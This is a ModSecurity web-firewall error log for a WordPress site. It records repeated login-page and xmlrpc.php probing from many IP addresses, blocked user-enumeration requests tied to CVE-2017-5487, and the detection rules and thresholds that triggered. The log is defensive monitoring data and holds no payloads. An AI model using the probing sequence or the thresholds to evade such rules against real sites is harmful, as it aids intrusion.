[Mon Jan 19 00:11:41.346918 2026] [:error] [pid 12925:tid 13003] [client 208.97.186.101:48094] [client 208.97.186.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.97.186.101, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW0GPfsBL-4pnmSbzih-7wAAAI8"]
[Mon Jan 19 00:11:44.811047 2026] [:error] [pid 12925:tid 13004] [client 208.97.186.101:48094] [client 208.97.186.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.97.186.101, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW0GQPsBL-4pnmSbzih-8gAAAJA"], referer: https://gigfragments.org/wp-login.php
[Mon Jan 19 00:13:57.525986 2026] [:error] [pid 12923:tid 12937] [client 68.183.25.188:46886] [client 68.183.25.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.25.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW0GxesWURrrC-4Rx5Kw6wAAAAU"]
[Mon Jan 19 00:24:28.015005 2026] [:error] [pid 12925:tid 12998] [client 34.50.189.91:52854] [client 34.50.189.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.50.189.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW0JPPsBL-4pnmSbziiAzgAAAIo"]
[Mon Jan 19 00:24:31.383860 2026] [:error] [pid 12925:tid 13008] [client 34.50.189.91:52854] [client 34.50.189.91] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aW0JP_sBL-4pnmSbziiA0wAAAJQ"]
[Mon Jan 19 00:24:32.817231 2026] [:error] [pid 12925:tid 12991] [client 34.50.189.91:52854] [client 34.50.189.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.50.189.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW0JQPsBL-4pnmSbziiA1QAAAIM"]
[Mon Jan 19 00:24:34.531202 2026] [:error] [pid 11711:tid 11812] [client 34.50.189.91:55961] [client 34.50.189.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.50.189.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW0JQutTMvs-MBCRKgdkgQAAA1E"]
[Mon Jan 19 00:24:36.251498 2026] [:error] [pid 37885:tid 37900] [client 34.50.189.91:51604] [client 34.50.189.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.50.189.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW0JRIIjOL7XA82H72W7TQAAAUw"]
[Mon Jan 19 00:24:37.970342 2026] [:error] [pid 12925:tid 12988] [client 34.50.189.91:50821] [client 34.50.189.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.50.189.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW0JRfsBL-4pnmSbziiA2wAAAIA"]
[Mon Jan 19 00:24:39.729639 2026] [:error] [pid 11711:tid 11810] [client 34.50.189.91:54734] [client 34.50.189.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.50.189.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW0JR-tTMvs-MBCRKgdkjgAAA08"]
[Mon Jan 19 00:24:39.729843 2026] [:error] [pid 11711:tid 11810] [client 34.50.189.91:54734] [client 34.50.189.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.50.189.91, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW0JR-tTMvs-MBCRKgdkjgAAA08"]
[Mon Jan 19 00:31:15.479667 2026] [:error] [pid 33494:tid 33517] [client 49.36.189.24:64369] [client 49.36.189.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.189.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW0K07xmLR_50TtKxDJNHAAAARM"]
[Mon Jan 19 00:33:52.619948 2026] [:error] [pid 11710:tid 11769] [client 80.240.128.18:34800] [client 80.240.128.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 80.240.128.18, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW0LcGCouWwzZ0YcmFaGxAAAAwE"]
[Mon Jan 19 00:33:54.981444 2026] [:error] [pid 11710:tid 11777] [client 80.240.128.18:34800] [client 80.240.128.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 80.240.128.18, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW0LcmCouWwzZ0YcmFaGxQAAAwk"], referer: https://gigfragments.org/wp-login.php
[Mon Jan 19 00:34:27.490909 2026] [:error] [pid 12925:tid 12990] [client 49.36.189.24:49793] [client 49.36.189.24] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aW0Lk_sBL-4pnmSbziiCZgAAAII"]
[Mon Jan 19 00:39:06.900300 2026] [:error] [pid 11711:tid 11800] [client 49.36.189.24:50854] [client 49.36.189.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.189.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW0MqutTMvs-MBCRKgdo_gAAA0U"]
[Mon Jan 19 00:42:24.461486 2026] [:error] [pid 11711:tid 11813] [client 49.36.189.24:52431] [client 49.36.189.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.189.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW0NcOtTMvs-MBCRKgdp0AAAA1I"]
[Mon Jan 19 00:44:48.115536 2026] [:error] [pid 11650:tid 11668] [client 49.36.189.24:53050] [client 49.36.189.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.189.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW0OAEJ_hGOO27rOLtG6KQAAAg4"]
[Mon Jan 19 00:46:14.457483 2026] [:error] [pid 13034:tid 13056] [client 49.36.189.24:53985] [client 49.36.189.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.189.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW0OVsRGpUu1E8cmbmjPtwAAANI"]
[Mon Jan 19 01:14:31.051537 2026] [:error] [pid 25717:tid 25790] [client 209.126.127.194:33632] [client 209.126.127.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.126.127.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW0U9yxj7QZ8bca7eMNdaQAAAFM"]
[Mon Jan 19 01:14:43.849709 2026] [:error] [pid 11710:tid 11775] [client 209.126.127.194:60782] [client 209.126.127.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.126.127.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW0VA2CouWwzZ0YcmFaNqAAAAwc"]
[Mon Jan 19 01:14:47.835366 2026] [:error] [pid 11710:tid 11768] [client 209.126.127.194:60782] [client 209.126.127.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.126.127.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW0VB2CouWwzZ0YcmFaNqwAAAwA"], referer: https://gigfragments.org/wp-login.php
[Mon Jan 19 01:50:26.179169 2026] [:error] [pid 11620:tid 11631] [client 212.42.58.120:50560] [client 212.42.58.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.42.58.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW0dYmCcXLNx7aML8kFtMwAAAck"]
[Mon Jan 19 01:50:28.086252 2026] [:error] [pid 11620:tid 11633] [client 212.42.58.120:50560] [client 212.42.58.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.42.58.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW0dZGCcXLNx7aML8kFtNAAAAcs"], referer: https://gigfragments.org/wp-login.php
[Mon Jan 19 02:04:02.375330 2026] [:error] [pid 13034:tid 13043] [client 136.111.51.24:59913] [client 136.111.51.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.111.51.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW0gksRGpUu1E8cmbmjd5AAAAMU"]
[Mon Jan 19 02:04:05.908649 2026] [:error] [pid 13034:tid 13041] [client 136.111.51.24:59913] [client 136.111.51.24] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aW0glcRGpUu1E8cmbmjd6QAAAMM"]
[Mon Jan 19 02:04:07.449183 2026] [:error] [pid 13034:tid 13036] [client 136.111.51.24:59913] [client 136.111.51.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.111.51.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW0gl8RGpUu1E8cmbmjd7QAAAMA"]
[Mon Jan 19 02:04:09.444108 2026] [:error] [pid 11710:tid 11772] [client 136.111.51.24:58189] [client 136.111.51.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.111.51.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW0gmWCouWwzZ0YcmFaWfwAAAwQ"]
[Mon Jan 19 02:04:11.581352 2026] [:error] [pid 11711:tid 11806] [client 136.111.51.24:52122] [client 136.111.51.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.111.51.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW0gm-tTMvs-MBCRKgd59QAAA0s"]
[Mon Jan 19 02:04:13.667324 2026] [:error] [pid 11620:tid 11637] [client 136.111.51.24:63139] [client 136.111.51.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.111.51.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW0gnWCcXLNx7aML8kFwzgAAAc8"]
[Mon Jan 19 02:04:15.739449 2026] [:error] [pid 33494:tid 33504] [client 136.111.51.24:52823] [client 136.111.51.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.111.51.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW0gn7xmLR_50TtKxDJaGgAAAQY"]
[Mon Jan 19 02:04:15.739654 2026] [:error] [pid 33494:tid 33504] [client 136.111.51.24:52823] [client 136.111.51.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 136.111.51.24, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW0gn7xmLR_50TtKxDJaGgAAAQY"]
[Mon Jan 19 02:35:23.858064 2026] [:error] [pid 11620:tid 11638] [client 47.242.167.96:59782] [client 47.242.167.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.242.167.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW0n62CcXLNx7aML8kF5WwAAAdA"]
[Mon Jan 19 02:35:26.035676 2026] [:error] [pid 11620:tid 11637] [client 47.242.167.96:59782] [client 47.242.167.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.242.167.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW0n7mCcXLNx7aML8kF5YAAAAc8"], referer: https://gigfragments.org/wp-login.php
[Mon Jan 19 03:16:24.196151 2026] [:error] [pid 33494:tid 33504] [client 66.175.44.38:50182] [client 66.175.44.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW0xiLxmLR_50TtKxDJkpQAAAQY"]
[Mon Jan 19 03:17:03.665472 2026] [:error] [pid 11711:tid 11806] [client 66.175.44.38:56196] [client 66.175.44.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW0xr-tTMvs-MBCRKgeI9gAAA0s"]
[Mon Jan 19 03:25:50.683419 2026] [:error] [pid 25906:tid 25931] [client 162.241.226.115:12376] [client 162.241.226.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.226.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW0zvjpQ51c5_inxJIC_4wAAAkk"]
[Mon Jan 19 03:25:55.601073 2026] [:error] [pid 25906:tid 25935] [client 162.241.226.115:12376] [client 162.241.226.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.226.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW0zwzpQ51c5_inxJIC_5wAAAk0"], referer: https://gigfragments.org/wp-login.php
[Mon Jan 19 03:35:17.744356 2026] [:error] [pid 51765:tid 51863] [client 192.185.81.213:49950] [client 192.185.81.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.81.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW019dmRdAIrylW-rNw0cgAAAEk"]
[Mon Jan 19 03:35:49.707702 2026] [:error] [pid 51920:tid 51928] [client 192.185.81.213:23604] [client 192.185.81.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.81.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW02FdWlK-VfaOQapH3OpgAAAMQ"]
[Mon Jan 19 03:39:03.712835 2026] [:error] [pid 51767:tid 51902] [client 162.241.226.115:17814] [client 162.241.226.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.226.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW0211ZEQnUCih8LJTgZLwAAAJQ"]
[Mon Jan 19 03:39:21.642916 2026] [:error] [pid 51764:tid 51841] [client 162.241.226.115:21096] [client 162.241.226.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.226.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW026XUar1EEwHWO2o6fTAAAABM"]
[Mon Jan 19 03:39:30.613471 2026] [:error] [pid 51765:tid 51860] [client 162.241.226.115:23056] [client 162.241.226.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.226.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW028tmRdAIrylW-rNw17wAAAEY"]
[Mon Jan 19 05:35:51.048021 2026] [:error] [pid 47476:tid 47497] [client 202.92.6.80:40992] [client 202.92.6.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.92.6.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW1SN46ielYhUA9M_-KtfAAAAdE"]
[Mon Jan 19 05:36:10.858608 2026] [:error] [pid 47439:tid 47448] [client 202.92.6.80:57068] [client 202.92.6.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.92.6.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW1SSjr6gGCDmQscGCp9iAAAAYc"]
[Mon Jan 19 05:50:50.674488 2026] [:error] [pid 27680:tid 27703] [client 182.44.8.254:44677] [client 182.44.8.254] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aW1Vuj8azMyLC3TiDG37KgAAAQw"]
[Mon Jan 19 05:56:36.323717 2026] [:error] [pid 27680:tid 27695] [client 34.86.113.185:58744] [client 34.86.113.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.86.113.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW1XFD8azMyLC3TiDG38GAAAAQQ"]
[Mon Jan 19 05:56:39.953143 2026] [:error] [pid 27680:tid 27714] [client 34.86.113.185:58744] [client 34.86.113.185] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aW1XFz8azMyLC3TiDG38WAAAARc"]
[Mon Jan 19 05:56:41.561043 2026] [:error] [pid 27680:tid 27710] [client 34.86.113.185:58744] [client 34.86.113.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.86.113.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW1XGT8azMyLC3TiDG38WwAAARM"]
[Mon Jan 19 05:56:44.054262 2026] [:error] [pid 55094:tid 55161] [client 34.86.113.185:60985] [client 34.86.113.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.86.113.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW1XHDQDy8tSKykl7U6t0QAAAIU"]
[Mon Jan 19 05:56:46.096525 2026] [:error] [pid 55092:tid 55117] [client 34.86.113.185:64410] [client 34.86.113.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.86.113.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW1XHs2DE_yLQhxnvwzFyAAAABA"]
[Mon Jan 19 05:56:48.176958 2026] [:error] [pid 55203:tid 55210] [client 34.86.113.185:62110] [client 34.86.113.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.86.113.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW1XIC-AaXI6_wL-5Xw3XQAAAMU"]
[Mon Jan 19 05:56:50.126187 2026] [:error] [pid 55092:tid 55118] [client 34.86.113.185:52512] [client 34.86.113.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.86.113.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW1XIs2DE_yLQhxnvwzF0wAAABE"]
[Mon Jan 19 05:56:50.126340 2026] [:error] [pid 55092:tid 55118] [client 34.86.113.185:52512] [client 34.86.113.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.86.113.185, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aW1XIs2DE_yLQhxnvwzF0wAAABE"]
[Mon Jan 19 07:06:40.329025 2026] [:error] [pid 47476:tid 47484] [client 69.163.140.7:60710] [client 69.163.140.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.163.140.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW1ngI6ielYhUA9M_-K4gAAAAcQ"]
[Mon Jan 19 07:06:42.494954 2026] [:error] [pid 47476:tid 47485] [client 69.163.140.7:60710] [client 69.163.140.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.163.140.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aW1ngo6ielYhUA9M_-K4gQAAAcU"], referer: https://gigfragments.org/wp-login.php
